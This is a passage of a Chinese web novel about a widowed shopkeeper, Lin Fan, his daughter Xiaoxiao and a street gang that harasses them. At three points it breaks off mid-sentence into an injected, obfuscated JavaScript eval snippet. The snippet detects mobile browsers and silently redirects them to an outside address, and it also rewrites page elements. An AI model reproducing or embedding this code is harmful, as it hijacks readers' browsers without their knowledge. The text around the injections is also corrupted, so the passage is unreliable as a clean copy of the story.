2B的是绿色笔杆,跟在后面,笔帽也朝左,整整齐齐的一排,像小士兵。 橡皮按卡通形象分,米老鼠的放一格,小熊的放一格,每格都摆得方方正正,还特意留了点空隙,怕挤变形。 荧光笔更用心,蓝的挨粉的,粉的靠黄的,笔帽朝上摆成一排,在灯光下泛着亮,像排小蜡烛,有次一个小女孩来买,指着荧光笔说“像彩虹”,她妈妈笑着买了三支。 中间是童装区,小外套挂在衣架上,按尺码从左到右排: 3岁的、4岁的、5岁的,标签都露在外面,上面写着尺码和棉含量。 裤子叠得四四方方,叠好后还轻轻拍了拍,上面用彩色硬纸板写着“纯棉软裤,不硌腿”—— 硬纸板是笑笑画画剩下的,林凡把边缘剪得圆圆的,怕刮着孩子的手。 他还从家里找了把带小熊图案的软尺,之前是笑笑量身高用的,现在挂在货架旁边,家长给孩子量尺寸时,孩子还会指着小熊说“这是我的尺子”,家长们都觉得亲切。 右边是玩具区,积木、玩偶、小汽车分开放在不同的格子里,每个格子上都贴了手写的小标签——标签纸是淡蓝色的,字写得工工整整: “变形金刚,适合5岁以上,边缘圆滑”“布偶小熊,不掉**,可水洗”。有次一个妈妈找适合3岁孩子的玩具,看了标签,直接就拿了布偶小熊: “不用问你了,标签写得清清楚楚,省事儿。” 二、服务细节:暖到心里,让人“记着这家店” 他从批发部买了袋“大白兔”奶糖,装在一个洗得锃亮的玻璃罐里; 罐子之前装过蜂蜜,他怕有味道,用开水烫了三遍,晾干才装糖。 只要有小朋友来,不管买不买东西,都递一颗,手指捏着糖纸递过去: “小朋友,拿颗糖吃,甜滋滋的,别噎着哦。” 有次邻居家的妞妞拿到糖,糖纸剥不开,林凡蹲下来帮她剥,手指指甲小心抠开糖纸边,没弄破。 妞妞吃着糖,眯着眼睛跟妈妈说: “妈妈,这个糖比家里的甜!”第二天妞妞妈妈就来买了两双小鞋子,还跟林凡说: “你对孩子这么有耐心,我放心——以后买儿童用品,就来你这儿。” 他还跟王猛定了“服务规矩”: 客人问啥,都得耐心答,别嫌烦,也别瞎答。比如家长问“这衣服洗了会不会缩水”,就说“我试过,冷水洗不缩,晒的时候别拽,干了还是原来的样子”; 要是问“玩具耐不耐摔”,就说“我给笑笑试过,轻轻摔两下没事,别使劲砸”。 王猛记不住,林凡就把这些话写在小纸条上,贴在柜台里,纸条边还画了个小笑脸,提醒他“别着急,慢慢说”。 有次王猛忘了,家长问“积木会不会掉漆”,他愣了下,赶紧看纸条,笑着说:“不会掉漆,我家笑笑玩了半个月,漆都没掉一点。”家长听了,买了两套积木。 三、信息收集:知道“客人要啥”,才能“进对货” 闲下来时,他会跟客人聊天,聊的时候不刻意,像拉家常。 张阿姨抱着孙子来买袜子,说 “这孩子脚长得快,软底的学步鞋不好买,好多鞋穿着硌脚”,林凡赶紧拿出小本子,笔尖在本子上顿了顿,特意画了个小鞋图案,记上“软底学步鞋,15cm,宽脚适用”; 还问了张阿姨孙子的脚长,张阿姨说“大概15厘米”,他特意标在旁边。 后来去市里进货,他转了四个摊位,才找到一款宽脚的学步鞋,拿了五双,回来没几天就卖完了,张阿姨还帮他介绍了两个邻居来买。 李老师来买尺子,说 “学校要订带刻度的尺子,最好是塑料的,不容易断,学生用着安全,要20把”, 林凡赶紧在本子上划个勾,旁边写“塑料刻度尺,15厘米,20把起订”。 他进货时特意多进了10把,怕不够,结果李老师的同事也来买了5把,说 “你们这儿的尺子质量好,学生用着放心”。 有次一个妈妈来买文具盒,说“孩子喜欢奥特曼,跑了好几家店都没找着奥特曼图案的,你这儿有吗?” 林凡心里记着,第二天就去市里的批发市场,转了三个摊位,才找了三款奥特曼文具盒—— 有赛罗的,有迪迦的,还有盖亚的。回来没两天,这三款文具盒就卖光了,那个妈妈还特意来谢他: “太谢谢你了,孩子拿到文具盒,高兴得晚上都抱着睡,还跟同学说‘我叔叔店里有奥特曼文具盒’。” 这些“新花样”,王猛一开始不理解,挠着头问: “凡子,咱们以前不也卖这些东西吗?何必这么麻烦,费这劲干啥?” 直到有天,之前买过橡皮的李老师,又来买了五支荧光笔,还带了个同事来,说“你们这儿东西摆得清楚,服务也好,孩子自己都能挑,省事儿; 不像别的店,乱七八糟的,找半天找不到”。王猛看着客人选东西时轻松的样子,挠着头笑,笑得有点不好意思:“还是你这办法管用,我以前没想到,原来做生意还能这么干。” 可安稳日子没几天,麻烦又找上来了,像块乌云,突然飘到了店门口。 那天下午,太阳有点晃眼,店里没多少客人,刚过了午休时间,街坊邻居大多还没出来。 林凡正在整理账本,王猛坐在柜台后擦橡皮,手里的布蹭得橡皮“沙沙”响。突然,店门“吱呀”一声被推开,风裹着点尘土进来,吹得货架上的标签纸晃了晃。 进来个穿花衬衫的年轻人,衬衫是橘红色的,上面印着大朵的牡丹,颜色有点褪色,袖口还卷着,露出手腕上的纹身,是个歪扭的“龙”字。 他的头发染得黄一截黑一截,黄的地方还分叉,像营养不良的草。手插在裤兜里,走路晃悠悠的,脚后跟蹭着地面,发出“沙沙”的响,裤兜里的钥匙串还叮当作响。 他绕着货架转了三圈,转得慢悠悠的。 拿起橡皮捏捏,指甲缝里有黑泥,把橡皮捏出个坑,又扔回货架,差点砸到旁边的玩偶,林凡赶紧伸手扶了下; 又把变形金刚举起来看看,手指在机器人胳膊上抠了抠,留下几道印子,就是不说话,眼神飘来飘去,像在找什么茬。 王猛刚要站起来问“您要买啥”,林凡用眼神按住了他——林凡的眼神沉了沉,轻轻摇了摇头,他知道,这是来找事的。 年轻人最后停在玩具区,伸手抓起那个二十五块的变形金刚,手指在铁壳上敲得“咚咚”响,声音有点刺耳,粗声粗气地问:“这玩意儿多少钱?” 林凡从账本上抬起头,语气平静,没带一点情绪:“二十五。” “二十五?抢钱呢!” 年轻人把变形金刚往柜台上一扔,力气有点大,玩具碰到玻璃门,“咔嗒”响了一声,机器人的胳膊晃了晃,差点从柜台上滑下去。 王猛“腾”地站起来,攥着拳头,指节都白了,要上前理论—— 他看不得别人糟蹋店里的东西,这变形金刚是林凡特意挑的,质量好,进价就十八。 林凡赶紧伸手拦在他前面,手指扣着王猛的胳膊肘,按得有点紧,用眼神示意他“别冲动”: “猛子,别激动,有话好好说。” “明码标价,童叟无欺。” 林凡看着年轻人的眼睛,没退后半步,语气还是平静,但多了点硬气,他特意指了指收银台旁边的公示牌, “这是工商所发的公示牌,我这店是合法经营,价格都标在货架上,您可以看。这玩具进价就十八,我只赚七块; 您要是觉得贵,可以再看看别的,店里还有十块的、十五的玩具,质量也不错。”他顿了顿,又说:“要是不买,也别摔东西——这是给孩子的玩具,摔坏了,孩子看着也心疼。” 年轻人被噎了下,脸有点红,斜着眼上下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607490|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打量林凡,嘴角撇了撇,语气更冲了: “行啊,老板,生意挺火啊。在这条街上开店,规矩懂不懂?” 林凡心里门儿清,这是黑皮的人。黑皮是这条街的地痞,以前摆摊时,林凡就被他要过“保护费”,当时他没给,躲了好几天。 现在开店了,黑皮肯定不会放过他。林凡脸上露出点“困惑”,眉头轻轻皱了皱,语气却没软: “规矩? 我懂的规矩是合法经营,照章纳税——工商所的新执照下周就拿,街道办也备案了,该走的手续我都走了。 您要是来买东西,我欢迎,给您介绍;要是来聊‘别的规矩’,抱歉,我这儿忙着整理账本,没空。” 他特意把“合法经营”四个字说得重了点,像堵墙,把对方可能的勒索意图堵了回去。 年轻人的脸涨得更红了,瞪了林凡几秒,又扫了眼门口挂着的灭火器,红底白字的,在日光下晃眼,像在提醒他“这店是正规的”; 又看了眼公示牌,眼神有点闪烁。最后,他“哼”了一声,转身摔门走了——门板“哐当”响了下,震得货架上的橡皮盒晃了晃,有块小橡皮掉了下来,滚到了地上。 “妈的,肯定是黑皮派来的! 这小子就是来找茬的!”王猛气得胸口起伏,弯腰捡起橡皮,用力攥在手里,橡皮上的灰都被他攥掉了,“下次再敢来,我跟他拼了!” 林凡把变形金刚放回货架,手指轻轻擦了擦上面的灰,眼神沉了沉,语气比刚才缓了点: “别冲动,猛子。咱们现在是正规商户,真要闹起来,报警是最好的办法,咱们占着理,不怕。 他们就是想吓吓咱们,让咱们服软,咱们不能中他们的计。” 话虽这么说,他心里却清楚——黑皮这伙人,就像阴沟里的老鼠,不会轻易放过他,迟早还会来,下次说不定就不是“试探”了。 晚上关店后,林凡坐在灯下盘点。台灯是他从家里带来的,瓦数不大,光裹着他的影子,落在墙上,长长的。 半个月下来,营业额一共是一千两百多,除去租金(每月三百,半个月一百五)、进货成本(两百二)、水电费(十五),净赚了四百八十七块——他把钱摊在桌上,一张一张数,数了两遍,没错。 他把钱分成两部分: 三百块放进一个铁盒里,当流动资金——铁盒是笑笑爱吃的草莓饼干盒,上面还有卡通草莓图案,他洗得干干净净,锁上时还轻轻按了按,确保锁牢; 剩下的一百八十七块,塞进一个牛皮纸信封,信封上写着“应急”两个字,下面还小声写了“笑笑学费备用”,压在抽屉最下面——这是他的“底气钱”,万一黑皮真来**,总得有点钱应对,不能慌了手脚。 笑笑趴在旁边的小凳子上,玩着白天卖剩下的小积木; 小手指捏着积木块,往搭好的小房子上拼,拼错了就皱着眉头拿下来,重新拼。 突然,她抬起头,看着林凡说: “爸爸,咱们的店好亮啊,比以前的棚子亮多了,也暖和多了——棚子漏雨,这里不漏雨。” 林凡摸了摸她的头,手指蹭过她柔软的头发,心里软得像化了的糖。 他抬头看着窗外的月色——月光透过窗户,在地上洒了片银白,刚好照在笑笑的小脚上,她的袜子是粉色的,上面有个小兔子。 街上静悄悄的,只有偶尔传来的狗叫声,还有远处夜市收摊的动静。 他攥了攥拳头,指节轻轻响了下: 这店不是简单的“生意”,是他的桥头堡,是他往“好日子”走的第一步,是他和笑笑的“家”——以前摆摊时,他总觉得飘着,现在有了这店,才算落了脚。 就算前面有再多明枪暗箭,有黑皮这样的麻烦,他也得守住这里。 不能让这好不容易亮起来的“家”,又暗下去。 专业化的路才刚开头, 走得不算顺,有惊有险,但每一步都踩得实。 林凡知道,真正的风雨,还在后面等着呢—— 比如黑皮的报复,比如生意淡季的冷清,比如进货时可能遇到的假货。 可他不怕。 只要店还在,只要笑笑还在身边, 他就有劲儿往下走。 灯光下,他看着笑笑拼好的小房子, 又看了看桌上的账本,嘴角轻轻扬了起来——明天,又是新的一天。 第二十五章:平稳的日常 初秋的风裹着清冽的凉意掠过街角,却在“笑笑宝贝屋”门前拐了个弯。 玻璃门内飘出的洗衣液香混着刚拆封的纯棉布料味,像一双手轻轻揽住行人的衣角。 这店开了整58天,从开业头周每天仅3位客人的冷清(有两天甚至只卖出去一双婴儿袜子),到如今傍晚五点半,货架前总围着三两个弯腰挑童装的家长: 穿米色风衣的妈妈正举着件鹅黄色连体服比对女儿的身高,戴鸭舌帽的爸爸蹲在玩具区,陪儿子摆弄惯性小汽车,连空气里都飘着细碎的笑语。 这光景,像田埂上刚冒尖的青苗熬过了倒春寒,终于在土里扎稳了带着潮气的细根。 林凡对这店的上心,连隔壁“陈记蔬菜摊”的陈叔都常跟人念叨。每天凌晨四点五十,天还蒙着层灰蓝,他那辆1998年产的二八大杠就会“吱呀”着从巷口驶出; 车把上挂着个洗得发白的帆布包,里面装着保温杯(泡着最便宜的茉莉花茶,防进货时着凉)和折得边角发毛的进货清单,清单上用红蓝两色圆珠笔标得密密麻麻,连备注都写得周全: 浅粉色纯棉T恤:棉含量95%+,领口双车线(防变形),进价12元/件,建议售价25元 米白色连体爬服:袖口松紧带宽1.5cm(不勒手腕),裆部按扣设计(方便换尿布),进价15.5元/件 婴儿袜子(无骨款):分0-6月、6-12月两码,袜底含防滑胶点,每款必闻(无异味才拿),进价3.8元/双 每次到城西批发市场,他都要在婴幼儿专区耗上三个钟头。上次挑袜子时,摊主嫌他麻烦: “林老板,都是纯棉的,差不了多少!” 他却蹲在摊位前,把十几种款式挨个儿捏在手里搓——摸到一款带卡通贴布的,手指蹭到贴布边缘有点硬,立刻放下; 拿起另一款纯色的,扯着袜口拉到最大再松开,看弹性是否能恢复,还凑到鼻尖闻了又闻,直到确认只有淡淡的棉絮味才点头: “孩子皮肤薄,贴布硬了磨腿,有异味可能含甲醛,我可不能卖这种。”这话他跟每个摊主都讲过,前前后后不下二十次。 到了店里摆货,他更是把“细”字刻进了骨子里。 货架高度是按笑笑的身高调的——最下层留足80公分,刚好够三四岁孩子踮脚够到毛绒玩具区,有次住在三楼的朵朵来买玩偶,自己够到了一只棕色小熊,举着跑向妈妈时,朵朵妈笑着说: “这架子调得真贴心,省得我弯腰帮她找。” 中间层放3到6岁的童装,衣架间距严格留够15厘米,上次张阿姨带孙女来挑外套,两件衣服的衣架没勾住,她感慨: “别家店衣架挤得要命,挑一件能带下来三件,你这儿就省心。” 最上层堆着库存和120码以上的童装,旁边贴的“需要帮忙请喊我”便签,是用黑色马克笔写的,字体圆润得像小馒头,连老花眼的奶奶都能看清。 还有次周三下午,一位宝妈抱着刚满11个月的宝宝来买连体服,单手挑货时宝宝在怀里扭来扭去,哭个不停。 林凡见状,赶紧从里间搬来折叠小凳子(凳面套着洗干净的棉布套),又从抽屉里拿出消毒过的摇铃—— 那是他特意买的备用玩具,每天早上都会用酒精棉片擦一遍。宝妈坐下后,宝宝抓着摇铃“哗啦哗啦”玩,立马不哭了,最后她不仅买了连体服,还多拿了两双防滑袜: “你这店让人心里踏实,连宝宝的小细节都想到了。” 王猛则是另一种“圈粉风格”,凭着一身实诚热络,成了附近孩子口中的“糖叔”。 上周二下午,中心小学二年级的妞妞来买橡皮,掏钱包时不小心把五块钱掉进了货架缝——那缝只有两指宽,钱卡在最里面。 王猛蹲在地上,膝盖顶着货架底,一手用手机手电筒照,一手伸进去掏,指甲缝里蹭满了灰,连指关节都蹭红了,掏了整整十分钟才把钱抠出来。 妞妞急得眼眶通红,王猛把钱递她时,还从口袋里摸出颗橘子硬糖: “丫头别哭,这是‘安慰奖’——你看这糖纸,印着小白兔呢。”那糖是他在批发市场门口的小卖部买的,十块钱一大袋,每次兜里都会揣几颗,遇到哭闹的孩子就给一颗。 还有次周六上午,一个小男孩赖在玩具区不肯走,哭着要消防车模型。他妈妈急得额头冒汗: “家里都有三个了!”王猛见状,走过去蹲下来跟男孩说: “小朋友,你看这消防车模型的轮子是橡胶的,能跑很远,但今天你要是跟妈妈回家,下次来我给你留个带云梯的,好不好?” 说着又摸出颗糖,男孩攥着糖,居然点点头跟妈妈走了。后来男孩妈妈特意来道谢,还买了两本作业本:“你比我还会哄孩子,以后买文具就来你这儿。” 熟客里,隔壁楼的张阿姨是“忠实粉丝”,每周三下午准来买袜子,雷打不动。 每次来,她都要捏着袜边搓上三下,再把袜子拉展了看袜尖的缝合处——那是无骨缝合的,没有凸起的线疙瘩。她总念叨: “我家小孙子皮肤嫩,穿别的袜子总磨脚踝,上次穿你家的,在幼儿园跑了五天,脚踝没红印,袜底也没起球。”说着就会拿四双,两双白色两双浅蓝:“给孩子换着穿,脏了能及时洗。” 中心小学的李老师更是“带货达人”,隔三差五就带同事来。 上周四下午,她带了两位女老师来,进门就冲林凡和王猛笑: “我跟她们说,买文具不用跑文具店,直接来‘笑笑宝贝屋’就行——你们看,连带刻度的三角板(边是圆弧形的,防扎手)、能擦得不留痕的魔笔(墨水是无毒的)、还有印着小猪佩奇的作业本(纸张是80克的,不容易破),这儿全齐了,省得我们跑第二家。” 最后三位老师买了五套三角板、三支魔笔、十本作业本,花了42块钱,走的时候还说:“下次让班里家长也来看看。” 店里的每处细节都透着安稳。墙上的营业执照装在透明塑封里,被阳光晒得边角泛着暖光,下面贴的“诚信经营商户”小奖状是上个月刘科长来检查时给的—— 那奖状是红色底烫金字体,边缘还镶着细金边,林凡特意用图钉固定在营业执照旁边,生怕被风吹掉。 门口的两个干粉灭火器擦得锃亮,红色铁壳子上没有半点灰尘,白字“灭火器”三个大字像小灯笼似的醒目。 王猛每天开门第一件事就是检查压力表,他还专门找了个小本子,每天检查完就打勾:“10月1日,左瓶压力表绿色的区域,右瓶正常;10月2日,左瓶正常,右瓶正常……” 他总说:“这玩意儿就是咱们的门神,得让它时刻‘精神’着,万一出事能救命。” 可这份安稳下,总藏着点扎人的隐忧——黑皮那伙人自上次派小弟来探底,就没再露面,却像根刺扎在林凡心里。 上次来的是个染着绿头发的小子,穿件黑色连帽衫,帽子压得很低。进门后他就往童装货架上靠,脚翘在旁边的折叠凳上,手里玩着打火机,“咔哒咔哒”响个不停。 他盯着货架上的纯棉外套问:“你们这店一个月能赚多少?” 林凡当时正给一件牛仔裤改裤脚,手里的针线是浅灰色的,跟裤子颜色几乎一样,他抬头时手里的针还悬着: “刚够交房租和进货,还没回本呢。”王猛站在旁边,手不自觉地攥紧了拖把杆—— 那拖把杆是塑料的,被他攥得“咯吱”响,绿毛瞥了眼王猛,又扫过墙上的营业执照和门口的灭火器,嘴角撇了撇,没多说什么就走了。 这伙人是真的忌惮“合法商户”的名头,还是在暗处憋着更坏的主意?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607491|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>林凡说不准,只敢把心揪得更紧。每天关店时,他都要多绕三圈检查:卷闸门拉到底后,会用手推两下—— 那门上有个小划痕,是上次进货时不小心蹭的,他每次推都要摸一下那划痕,像在确认老朋友的安全; 窗户上的插销有点生锈,他每次都要滴两滴润滑油,再反复确认插紧;柜台抽屉里的营业款,他会锁进一个银色小铁盒—— 铁盒的密码是笑笑的生日(20180612),锁好后再塞进最里面的柜子,柜子钥匙串在他的腰带上,从不离身。 以前他还想着把收藏的连环画整理整理——那是他年轻时的宝贝,《西游记》有20册,《水浒传》18册,封面是彩色的,有几本封面边角有点磨损,是他当年翻得太勤了。 原本想等笑笑再大些,跟她一起坐在灯下看,可现在这些连环画被他压进了抽屉最底层,上面还压着笑笑幼儿园得的“乖宝宝”奖状—— 那张奖状是粉色的,笑笑的照片贴在右上角,笑得露出两颗小牙。林凡每次拉开抽屉看到,心里都会软一下:眼下这店是他和笑笑的安身地,先把根扎稳,比什么都重要。 他的日子过得像上了弦的钟,连喘口气的时间都少。 每天天不亮去进货,中午盯着店,吃饭全靠王猛帮忙带——王猛总给他带馒头夹咸菜,偶尔会加个茶叶蛋,林凡啃馒头时眼睛还盯着门口,生怕错过客人; 傍晚关了门,就陪着笑笑趴在餐桌上写作业。笑笑用的铅笔是带橡皮头的,橡皮头有点脏了,写“木”字时总把最后一笔写长,变成“本”。 林凡从不着急,握着笑笑的小手,笔尖贴着作业本,一笔一划地教: “笑笑看,‘木’字是一横一竖撇捺,多了这一点就成‘本’啦,咱们慢慢写,写完爸爸给你剥橘子。” 旁边的台灯是暖黄色的,灯光照在作业本上,把父女俩的影子拉得长长的。 笑笑自从上次感冒好后,性子就软了不少,林凡总怕孩子再受委屈。吃饭时,他买的肉都是里脊肉,切成小块炖得软烂,一勺一勺往笑笑碗里夹,自己碗里只有青菜; 煮面条时,必定要卧个溏心荷包蛋,还会把蛋黄拌在面条里,加一点生抽,笑笑每次都能吃一大碗,吃完会捧着碗说: “爸爸做的面条最好吃!”出门时,林凡总把笑笑的手放进自己的口袋——他的口袋又大又暖,能把笑笑的小手全裹住,尤其是风大的时候,他会把口袋攥紧点,怕孩子冻着。 这天下午的阳光难得的好,金晃晃的光铺在街面上,把梧桐叶晒得透亮,叶脉像画上去的一样。 风一吹,叶子“沙沙”响,还裹着点槐花香——街角那棵老槐树有三十年树龄了,细碎的白色花瓣飘下来,落在店门口的台阶上,有几片被路过的小狗踩了,变成小小的泥团,软乎乎的。 店里没什么客人,王猛正蹲在地上给橡皮分类。 他把橡皮分成两堆:卡通款放在左边,有棕色小熊(耳朵是白色的)、粉色小兔(尾巴是绒布的)、蓝色小汽车(轮子能转); 纯色款放在右边,红、黄、蓝三色各摆一排,每排都摆得整整齐齐。他还在每个格子里放了张小卡片,上面写着“1元/块”,怕孩子看不懂字,特意用圆规画了个硬币图案,边缘还描了圈黑线。 林凡看了眼墙上的挂钟——刚过两点,阳光正好,便跟王猛说: “猛子,你先看着店,我带笑笑去街心公园晒晒太阳,半个钟头就回来,要是有客人来,你先记在账本上,等我回来再说。” “哎!放心去!” 王猛直起腰,拍了拍裤腿上的橡皮屑——那些屑是彩色的,沾在他的深灰色裤子上格外显眼。 他想起什么,又要去抽屉里拿积木:“对了,要不要给笑笑带个小积木?万一她在公园想玩呢?” 第二十六章:触逆鳞 “不用,她背着水壶呢。” 林凡笑着摆手,转头看向门口——笑笑早背着天蓝色的小水壶等在那儿了。 水壶带有点长,滑到了胳膊肘,她偷偷用小手往上提了提,另一只手攥着林凡的衣角,指节都泛白。 她的眼睛亮晶晶的,像盛了两颗浸在水里的黑葡萄:“爸爸,公园里有小朋友玩沙子吗?我想堆个小房子,像咱们店里摆的那个玩具房子一样——就是带红色屋顶的那个。” “有,肯定有。” 林凡走过去,牵着笑笑的手。指尖触到孩子软乎乎的掌心,暖得像揣了块刚烤好的小暖炉。 他弯腰帮笑笑理了理衣领:“咱们去堆个最大的房子,比店里的玩具房子还大,给笑笑当城堡,好不好?” 笑笑用力点头,小脚步都变快了,还时不时抬头看林凡,嘴角翘着,像藏了颗没化的糖。 街心公园不大,却挤满了嬉闹的孩子。 沙坑在公园最里面的角落,周围种着几棵月季,粉的、红的花开得正艳,花瓣上还沾着阳光。 几个五六岁的小孩蹲在沙坑里,手里攥着小铲子、小桶,把沙子堆成一座座歪歪扭扭的小土堡——穿黄色衣服的小男孩叫小明,正把小桶扣在沙子上,拔起来就是一个圆圆的“城堡顶”,还在旁边插了根小树枝当烟囱。 笑声裹着沙粒飘在风里,脆生生的,像刚剥壳的花生。 笑笑的脚步突然顿住了,往林凡身后缩了缩,小手攥着林凡的衣角更紧了——她还是怕生,看着别的小朋友闹,只敢偷偷瞟,手指抠着衣角,小声问: “爸爸,他们会不会不喜欢我跟他们一起玩呀?我上次跟朵朵玩,她嫌我堆的房子不好看。” “不会的,小朋友都很友好。” 林凡蹲下来,帮笑笑把水壶带调紧——带子有点松,总往下滑。手指蹭过她的小胳膊,软乎乎的,像碰着刚晒过太阳的棉花。 他指着小明说:“你看那个穿黄衣服的小朋友,他堆的城堡跟你想堆的很像,你去跟他说,说不定他会跟你一起堆呢。” 他顿了顿,又补充:“爸爸在旁边的长椅上看着你,要是有人欺负你,就喊爸爸,爸爸跑着过来,比小兔子还快,好不好?” 笑笑咬着嘴唇,眼睛盯着沙坑里的小土堡,犹豫了几秒,终于点了点头。 她迈着小碎步慢慢走过去,先站在沙坑边看小明堆堡,小明抬头看到她,笑着说:“你要不要一起堆? 我有两个小铲子,给你一个。”笑笑的眼睛亮了亮,接过小铲子——塑料铲柄上还沾着点沙粒,她用小手擦了擦,才慢慢蹲下来。 她往自己面前的沙子上拍了拍,一下、两下、三下……动作轻轻的,像怕把沙子弄疼。 慢慢堆出个矮矮的小土堆后,又从旁边捡了根细细的小树枝,小心地插在土堆顶上当烟囱。做完这些,她嘴角悄悄翘了点,露出两颗小小的虎牙,还转头往林凡的方向看了一眼,像是在邀功。 林凡坐在不远处的长椅上,目光黏在女儿身上,心里暖得发涨。 这种平平淡淡的日子,是他前世想都不敢想的——那时候他在南方的工地上搬砖,每天天不亮就起来,扛着50斤重的水泥袋往三楼、四楼跑,肩膀被磨得通红,贴满了止痛膏药; 中午就蹲在工地角落里吃盒饭,菜里没几片肉,米饭还是凉的,偶尔能吃到块肥肉,他都舍不得吃,想留着带回家(可那时候还没笑笑,家里只有生病的妻子); 晚上累得腰都直不起来,倒在板房的铁架床上就能睡着,哪有机会看着孩子这样安安稳稳地笑? 他摸了摸口袋,掏出烟盒——是红塔山的,里面只剩三根烟。刚想抽出一根点上,又想起上次笑笑闻到烟味咳嗽的样子,赶紧把烟盒塞回口袋,指尖还沾着烟盒的纸味,却觉得心里满得要溢出来—— 风里的槐花香、孩子的笑声、女儿软乎乎的笑脸,这些都像甜丝丝的糖,裹着他的心,连呼吸都变得甜了。 可这份甜,没撑多久就被搅碎了。 三个半大小子晃悠悠地走进公园,脚步声“噔噔”的,像踩在人的心上。 领头的是个瘦高个,头发染得半黄半黑,发梢翘着,像被火燎过的野草。 他嘴里叼着根烟,烟蒂烧得只剩个过滤嘴,烫得他“嘶”了一声,才往地上碾了碾——那烟蒂在地上留下个黑色的印子,火星灭了,还冒着点青烟。 林凡一眼就认出来,这是黑皮手下的“刀螂”,上次绿毛来探底时,他在店门口见过这人,当时刀螂正靠在墙上抽烟,眼神阴沉沉的。 他们一进来,原本闹哄哄的公园瞬间静了点。 抱着孩子的妈妈赶紧把孩子往怀里搂,小声说 “别惹他们,上次有个小孩跟他们对视了一眼,就被推了个跟头”; 带孙子玩滑梯的老爷爷,也赶紧拉着孙子往长椅这边走,老爷爷的手都在抖,连说话都放轻了声: “乖,咱们去那边玩,这边人多。” 刀螂的眼睛像扫雷似的转了圈,很快就盯上了沙坑里的笑笑,也瞥见了长椅上的林凡。 他嘴角勾起个阴恻恻的笑,对旁边两个小弟使了个眼色; 一个留着寸头,耳朵上打了个耳洞,没戴耳钉,耳洞有点发炎,红红的; 一个穿件破洞T恤,破洞在胳膊肘,露出里面的深蓝色秋衣,秋衣上还破了个小洞。 两人立刻会意,跟着刀螂晃着身子朝沙坑走过去,脚步声踩得地上的落叶“沙沙”响,像极了老鼠的爪子在挠地。 林凡的心“咯噔”一下,像被人用手狠狠攥住,瞬间从椅子上站起来,脚步飞快地往沙坑赶; 他太清楚刀螂的德性了,这伙人专挑软的捏。 上次在批发市场,他就见过刀螂抢一个卖糖葫芦的老人的钱,老人攥着钱不肯放,刀螂就把糖葫芦扔在地上,用脚碾碎,老人最后只能哭着把钱给了他。 可还是慢了一步。 刀螂抢先蹲在沙坑边,伸手抄起笑笑旁边的小铲子,对着她刚堆好的小土堡“啪”地拍下去。 铲子尖带着劲,把土堡戳得塌了半边,沙子溅到笑笑的牛仔裤上,沾了个圆圆的小土印,还有几粒沙子进了笑笑的眼睛。 笑笑下意识地揉了揉,眼睛更红了,像只受了委屈的小兔子。 她手里的小铲子“啪嗒”掉在沙坑里,铲柄磕到一块小石头,发出“嗒”的一声 她想去捡,又怕刀螂,手指蜷缩起来,小嘴慢慢瘪了起来,眼眶里瞬间蓄满了泪水——那泪水像两汪小泉,泪珠在睫毛上打转,一眨就掉了下来,砸在沙子上,溅起小小的沙坑。 “哟,小姑娘,这堆的什么玩意儿?跟烂泥似的,一戳就塌。” 刀螂怪笑着,声音又尖又细,像刮玻璃似的刺耳。他伸手就想去捏笑笑的脸蛋—— 他的手指又黑又脏,指甲缝里还沾着泥,指尖带着烟味和汗味,熏得笑笑往旁边躲,小脑袋摇得像拨浪鼓,眼泪掉得更凶了。 “把你的手拿开!” 一声冷得像冰的低喝突然砸过来。林凡已经冲到跟前,一把将笑笑拉到自己身后护住,手臂紧紧圈着孩子的肩膀,指节都攥得发白—— 他的眼神冷得像淬了冰的刀,太阳穴突突地跳,手因为用力而微微发抖,不是怕,是怒得快绷不住。胸口像堵了团火,烧得他嗓子发紧,连呼吸都带着热气,能闻到自己身上的汗味。 刀螂被这眼神慑了下,手顿在半空中,可很快又仗着人多,站起身来,吊儿郎当地晃了晃肩膀; 他的黑色夹克拉链没拉,里面的灰色T恤印着个骷髅头,看起来脏兮兮的。 “哟,林老板,这么大火气?我跟小姑娘开个玩笑,你急什么?” 他的目光扫过笑笑,带着点猥琐的光,像粘腻的苍蝇,“这闺女长得倒水灵,跟她妈一样?” 这话像根脏针,狠狠扎进林凡心里——他的妻子前年中秋节吵架后走的。临走前,她看着躺在床上的笑笑。“一定要好好照顾笑笑,别让她受委屈” 还摸了摸笑笑的头,说“妈妈会回来接笑笑”。这话是他心里最软的地方,也是最不能碰的逆鳞——侮辱他可以忍,骚扰生意可以周旋,可把主意打到笑笑身上,还提他的妻子,这是在往他心上捅刀子! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607492|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁边两个小弟也围了上来。寸头吹着口哨,调子是《上海滩》的,难听得要命: “就是,开个玩笑而已,老板这么小气?” 